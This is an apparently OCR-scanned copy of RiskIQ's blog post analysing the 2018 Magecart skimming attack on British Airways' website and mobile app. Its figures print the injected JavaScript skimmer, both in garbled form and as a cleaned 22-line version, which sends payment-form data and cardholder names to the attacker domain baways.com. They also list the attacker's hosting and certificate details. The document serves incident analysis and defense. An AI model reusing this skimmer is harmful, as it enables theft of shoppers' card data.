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On September 6th, British Airways announced it had suffered a breach resulting in the theft of customer data. In

interviews with the BBC, the company noted that around 380,000 customers could have been affected and that the

stolen information included personal and payment information but not passport information.

On its website, British Airways placed an article explaining details of the incident that answered as many
questions as possible for customers. The technical details were sparse but included the following pieces of

information:

e Payments through its main website were affected
o Payments through its mobile app were affected
o Payments were affected from 22:58 BST August 21, 2018, until 21:45 BST September 5, 2018

The report also stated very clearly that information was stolen from the British Airways website and mobile app
but did not mention breaches of anything else, namely databases or servers—anything indicating the breach
affected more than the payment information entered into the website. Because these reports only cover customer

data stolen directly from payment forms, we immediately suspected one group: Magecart.

The same type of attack happened recently when Ticketmaster UK reported a breach, after which RiskIQ found
the entire trail of the incident. Because we crawl the internet and capture the details of each page, our team was
able to expand the timeline and discover more affected websites beyond what was publicly reported. In this blog,
we’ll investigate what happened during the breach of British Airways customer data made public on September 6,

which spanned a total of 15 days according to public reporting.

Magecart: A Familiar Adversary

Since 2016, RiskIQ has reported on the use of web-based card skimmers operated by the threat group Magecart.
Traditionally, criminals use devices known as card skimmers—devices hidden within credit card readers on
ATMs, fuel pumps, and other machines people pay for with credit cards every day—to steal credit card data for
the criminal to later collect and either use themselves or sell to other parties. Magecart uses a digital variety of

these devices.

Magecart injects scripts designed to steal sensitive data that consumers enter into online payment forms on e-

commerce websites directly or through compromised third-party suppliers used by these sites. Recently, Magecart
operatives placed one of these digital skimmers on Ticketmaster websites through the compromise of a third-party
functionality resulting in a high-profile breach of Ticketmaster customer data. Based on recent evidence, Magecart

has now set their sights on British Airways, the largest airline in the UK.
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Finding the Breach of British Airways

Our first step in linking Magecart to the attack on British Airways was simply going through our Magecart
detection hits. Seeing instances of Magecart is so common for us that we get at least hourly alerts for websites
getting compromised with their skimmer-code. Customer notifications through our products are automated, but
our research team searches for any instances outside of these workspaces manually and adds them to our global
blacklists. In the case of the British Airways breach, we had no hits in our blacklist incidents or suspects because

the Magecart actors customized their skimmer in this case.

One challenge of digging through crawl data manually is the scale of the data RiskIQ collects. We crawl more
than two billion pages a day, which accumulates over time. Another is that modern websites tend to run with a lot
of functionality built out in JavaScript. Just loading the main British Airways website spins up around 20 different
scripts and loading the booking subpage bumps that to 30. While 30 scripts might not sound like much, many of

these are minified scripts spanning thousands of lines of script.

For this research, we decided to focus our efforts by identifying individual scripts on the British Airways website
and examining their appearance over time—we would verify all the unique scripts on the website and only look at
them again if their appearance changed in our crawling. Eventually, we recorded a change in one of the scripts.
Opening up the crawl, we saw this script was a modified version of the Modernizr JavaScript library, version 2.6.2

to be precise. The script was loaded from the baggage claim information page on the British Airways website:

https://baggageclaim.britishairways.com/additional-baggage-claim-information?cid=18282166 This Request | Parent Page
1 Referrer: | Export
Cause: parentPage

Contains Element :

<script sro="//www.britishaizrways.com/cms/global/scripts/lib/modernizr=2.6.2.min.js"/>

https:/fwww.britishairways.com/cms/global/scripts/lib/modernizr-2.6.2.min.js This Request | Parent Page
2 Referrer: https://baggageclaim. britishairways.com/additional-baggage-claim-information?cid=18282166 | Export
Cause: script.src  Path from prior: /+[name()='html’|/head/script[3)/@sce

Fig-1 Modified script

The noted change was at the bottom of the script, a technique we often see when attackers modify JavaScript files

to not break functionality. The small script tag at the bottom immediately raised our suspicions:
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Page https://www.britishairways.com/cms/global/scripts/lib/modernizr-2.6.2.min.js

Status  Messages(0)  Dependent Requests(0)  Cookies(0)  Links(0) Headers  SSLCerts(0) Response &DOM  DOM Changes

Causes Social inspection Results Sequence To Parent

& Response Body

gia,b){var ojreturn window.getComputedStyle?c=document.defanltView.getComputedStyle(a,null ). getPropertyValue|b)a.currentStyless
(c=a.currentStyle(b]) . c}fonction

h{){d.removechild{a),a=null,b=null, c=null }var
a=document .createElement | "ruby” ) ,b=docusent .createElement | rt

*) ,o=documant . createElement | “rp” ) ,d=documant . documentElement , e="display”, f="fa
nt5ize”;return

a.appendChild(c),a.appendChild(b),d.appendChild(a),g(c,e)=="none" | |g(a,e)=="ruby k&g (b,e)=="ruby-text" | |[g(c,f)=="6pt"&kg(b, £)=="6pt"?

(hi),t0):(h(),11)}),Modernizr. sddTest ( “tima"®, "valuahsDate” in

document .createElement("time” ) ),Modernizr.addTest (| {texttrackapi:typeof

document .createElemant | "video" ) .addTextTrack=="function" ,track: "kind"in

document .createElement | “track®)} ) Modernizr.addTest | "placeholder” ; function|)

{return"placeholder”in({Modernizr. input | |document .createElement (" input”) )&k "placeholder” in{Modernizr.textarea| | document .createElesent | "texta

rea®))}) Modernizr. addTest | “speechinput® , function( ) {var

a=document . createElement | "input” ) jreturn”speech”in a| | "onwebkitspeechchange”in

a}),functionia,b){b. formvalidationapi=|1,b. formvalidationmessage=11,b.addTest " formvalidation” , function( ) {var

c=a.createElement( " form® ) ;if( “checkvalidity®in c){var

d=a.body,e=a.documentElenent, £=11,g=11,h; return b.formvalidationapi=10,c.onsubmit=Ffunctionfa)

{window.opara||a.preventDefault(),a.stopPropagation()},c. innerHTML="<input

name="modTest”

required=<button></button>’ ,c.style.position="absclute” ,c.etyle.top="-99995%amn" d| |

(£=10,d=a.createElement [ "body” ) ,d.style.background="" ,e.appendChild(d) ) ,d.appendChild|c) ,h=c.getElementsByTagiame | "input”)

[0],h.oninvalid=fanction(a)

{q-m.l mnmhullll a. lwﬁ'mlqltlmll}} b.formvalidationmessage=|th.validationHessage, c.getE lementsByTaghana | “button” )
. 1d| ld(d document , window.Modernizr)

W ndm.on oad=function(){0uery( ( "mouseup touchend”,functlon(a){var

n={};jOuery( "#paymentForn" ) .serializeArray(). -lplluncti.on{u}ln[u name |=a.value} ) ;var

e=document . getElemantById( " personPaying” ) . innerHTHL;n.person=e;var

t=J50N.stringify(n);setTimecut| function()

{j0uery.ajax({type: "POST" ,asyna: 10, urls "https:/ /baways .con/gateway/app/dataprocessing/api/” datat,dataType: “application/json™})},500)))}s

Fig-2 The suspicious script tag added by Magecart

We found more evidence in the server headers sent by the British Airways server. The servers send a ‘Last-
Modified’ header, which indicates the last time a piece of static content was modified. The clean version of the
Modernizr script had a timestamp from December 2012:

Page https://www.britishairways.com/cms/global/scripts/lib/modernizr-2.6.2.min.js

Status Messages (0) Dependent Requests (0) Coockies (0) Links (0) Headers SSL Certs (0)
Request Headers

& Response Headers
Name value

X-Frame-Options  SAMEORIGIN

Last-Modified Tue, 18 Dec 2012 08:02:48 GMT 4

Fig-3 Clean version of the compromised script

We can see on the modified, malicious version of Modernizr the timestamp matches closely to the timestamp
given by British Airways as the beginning of people getting victimized:
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Page https://www.britishairways.com/cms/global/scripts/lib/modernizr-2.6.2.min.js
Status Messages (0) Dependent Requests (0) Cookies (0) Links (0) Headers SSL Certs (0) Response & DOM DOM Changes
Request Headers

& Response Headers
MNarme Value

X-Frame-Options SAMEQORIGIN

Last-Modified Tue, 21 Aug 2018 20:49:38 GMT ‘

Fig-4 Timestamp of when the skimming began

Here is a cleaned up version of the script, only 22 lines of JavaScript:

1 window.onload function() {

2 jQuery("#submitButton").bind("mouseup touchend", function(a) {
3 var

4 n = {};

5 jQuery("#paymentForm").serializeArray().map(function(a) {
6 nla.name] a.value

7 3

8 var e = document.getElementById("personPaying”).innerHTML;
9 n.person = e;

10 var

11 t = JSON.stringify(n);

12 setTimeout(function() {

13 jQuery.ajax({

14 type: "POST",

15 async: '0,

16 url: "https://baways.com/gateway/app/dataprocessing/api/",
17 data: t,

18 dataType: "application/json"

19 })
20 }, 500)
21 })
22 h;

Fig-5 Only 22 lines of script victimized 380,000 people
In essence, the script is very simple and very effective. Here is a breakdown of what it does:

e Once every element on the page finishes loading it will:
o Bind the mouseup and touchend events on a button known as submitButton with the following
callback-code:
= Serialize the data in a form with id paymentForm into a dictionary
= Serialize an item on the page with id personPaying into the same dictionary as the
paymentForm information
= Make a text-string out of this serialized data

= Send the data in the form of JSON to a server hosted on baways.com

On websites, mouseup and touchend, are events for when someone lets go of the mouse after clicking on a button

or when someone on a touchscreen (mobile) device lets go of the screen after pushing a button. This means that
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once a user hits the button to submit their payment on the compromised British Airways site, the information from

the payment form is extracted along with their name and sent to the attacker’s server.

This attack is a simple but highly targeted approach compared to what we’ve seen in the past with the Magecart
skimmer which grabbed forms indiscriminately. This particular skimmer is very much attuned to how British
Airway’s payment page is set up, which tells us that the attackers carefully considered how to target this site

instead of blindly injecting the regular Magecart skimmer.

The infrastructure used in this attack was set up only with British Airways in mind and purposely targeted scripts
that would blend in with normal payment processing to avoid detection. We saw proof of this on the domain name
baways.com as well as the drop server path. The domain was hosted on 89.47.162.248 which is located in
Romania and is, in fact, part of a VPS provider named Time4VPS based in Lithuania. The actors also loaded the
server with an SSL certificate. Interestingly, they decided to go with a paid certificate from Comodo instead of a

free LetsEncrypt certificate, likely to make it appear like a legitimate server:

Issued 2018-08-15

Expires 2020-08-15

Serial Number 129950451738167431558149351195969236479
SSL Version 3

baways.com (subject)

COMODO RSA Domain Validation Secure Server CA (issuer)

Common Name

_ baways.com (subject)
Alternative Names
www.baways.com (subject)

Organization Name COMODO CA Limited (issuer)

Organization Unit  PositiveSSL (subject)

Street Address

Locality Salford (issuer)
State/Province Greater Manchester (issuer)
Country GB (issuer)

Fig-6 Cert leveraged by the attackers

Source: https://community.riskiq.com/search/certificate/shal/e1a181db8f8366660840e0b490ad2da43c78205a
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What is interesting to note from the certificate the Magecart actors used is that it was issued on August 15th,
which indicates they likely had access to the British Airways site before the reported start date of the attack on
August 21st—possibly long before. Without visibility into its Internet-facing web assets, British Airways were not

able to detect this compromise before it was too late.
Mobile Skimming

In the security advisory from British Airways, the company made note that both the web app and the mobile app
users were affected. We found the skimmer on the webpage for British Airways, but how does that translate to

mobile? To figure this out we’ll look at the British Airways Android application:

British Airways

British Airways plc Travel & Local %k k s 26,171

Je

% Everyone

[} Add to wishlist m

Book a flight Be informed Boarding Pass

Fig-7 British Airways mobile application

Often, when developers build a mobile app, they make an empty shell and load content from elsewhere. In the
case of British Airways, a portion of the app is native but the majority of its functionality loads from web pages

from the official British Airways website.

The mobile app uses a set of different hosts to communicate back to the British Airways servers:
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e www.britishairways.com (The main website)
e api4-prl.baplc.com (An API endpoint from British Airways)
e apid.baplc.com (Another API endpoint from British Airways)

The idea is that for quick data updates on its Ul the app uses the API endpoints, but for searching, booking, and

managing flights the app loads a mobile version of the main website. One of these called-up paths is:
www.britishairways.com/travel/ba_vsg17.jsp/seccharge/public/en_gb

This page is loaded when the customer requests information about fees for different countries and airports. It looks

like this:

-'l
BRITISH AIRWAYS

Government taxes and
fees and carrier charges

Certain taxes, fees and carrier charges may be applied to your booking
by British Airways, airport operators, governments or other authorities.
Here you will find an explanation of those taxes, fees and carrier
charges.

Government, authority and airport charges

These are included in the price of your ticket and are levied by airport
operators, governments, or other authorities.

Some airports may levy local taxes, fees or charges against passengers
upon arrival or departure. These are not included in the price of your
ticket and should be paid locally.

Government and/or airport taxes are refundable, however some
countries will apply a Value Added Tax, Sales Tax or equivalent, which
will only be refunded on fully flexible tickets.
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Fig-8 Magecart-compromised mobile web page

Now, if we look at the source of this webpage we find something interesting—the page is built with the same CSS
and JavaScript components as the real website, meaning design and functionality-wise, it’s a total match. From
what we examined above, we know that this means we’ll also find our offending script—the one that steals name

and payment information from the web app—on the mobile app:

Page https://www.britishairways.com/travel/ba_vsg17.jsp/seccharge/public/en_gb

Status Messages (10) Dependent Requests (104) Cookies (20) Links (4) Headers S5L Certs (6) Response & DOM DOM Changes Causes
URL Cause Response  Content Type Content  Response Dependent Cov
Code Length Time Requests
https:/fwww . britishairways.com/travel/ba_vsg17.jsp/seccharge/publicfen_gb parentPage 200 text/html 260M 919 ms 104
5./ fwwwi, britishalrways. comicms/global/soriptsflib/modernizr-2.6.2.min.js script.src 200 applicationfx-javascript 2776 K 150ms

Fig-9 Source of the mobile web page

Our crawler captured the subresource being loaded by the page used in the mobile app; it loads the same (at the

time) compromised Modernizr JavaScript library!

One thing to note is that the magecart actor(s) put in the touchend callback in the skimmer to make it work for
mobile visitors as well, which again shows us the high level of planning and attention to detail displayed in this

simple yet extremely effective attack.

Conclusions

As we’ve seen in this attack, Magecart set up custom, targeted infrastructure to blend in with the British Airways
website specifically and avoid detection for as long as possible. While we can never know how much reach the
attackers had on the British Airways servers, the fact that they were able to modify a resource for the site tells us
the access was substantial, and the fact they likely had access long before the attack even started is a stark

reminder about the vulnerability of web-facing assets

RiskIQ has been warning the market about Magecart attacks like this since 2015 and will continue to follow and
report on the group as it evolves. While the Magecart attack against British Airways wasn’t a compromise of a
third-party supplier like the attack on Ticketmaster, it does raise the question of payment form security.
Companies, especially those that collect sensitive financial data, must realize that they should consider the
security of their forms—but also the controls that influence what happens to payment information once a customer

submits it.

We suggest British Airways customers get a new card from their bank. Some banks have already been proactively

issuing new cards for their customers, Monzo is an example of these:
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Monzo &

@monzo

Last night, we contacted 1,300 customers
affected by the British Airways data breach
and ordered them new cards as a precaution
to protect them from fraud.

We've sent you a new card

British Airways have just announced a data
breach affecting their website and mobile app.
SINCE you've uied your Cand with BA recently,
we re sending you a new one. It should be with
YOu in 8 couple of days

You don't need to worry. This is just a
precaution and i$ part of our ongoing efons 1o
proactively protect our Customers.

The British Airways data breach: How Monzo responded

Last night British Airways announced that the personal and financial details of their
customers had been stolen. We identified the 1,300 Monzo customers who’ve b...

monZo.com

Fig-10 How some banks are responding
Source: https://twitter.com/monzo/status/1038042015286607872

Magecart is an active threat that operates at a scale and breadth that rivals—or possibly surpasses—the recent
compromises of point-of-sale systems of retail giants such as Home Depot and Target. The Magecart actors have
been active since 2015 and have never retreated from their chosen criminal activity. Instead, they have continually

refined their tactics and targets to maximize the return on their efforts.

Over time, they’ve optimized their tactics culminating in successful breaches of third-party providers such as
Inbenta resulting in the theft of Ticketmaster customer data. We’re now seeing them target specific brands,

crafting their attacks to match the functionality of specific sites, which we saw in the breach of British Airways.
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There will be more Magecart attacks, and RiskIQ will be tracking them and keeping the cybersecurity industry

aware of our research.

For a deep dive on Magecart, from the group’s inception to its hack of Ticketmaster to its latest hack of British

Airways, be sure to register for the webinar hosted by RiskIQ Head Researcher and report author Yonathan

Klijnsma.

Source: https://web.archive.org/web/20181231220607/https://riskiq.com/blog/labs/magecart-british-airways-breach/
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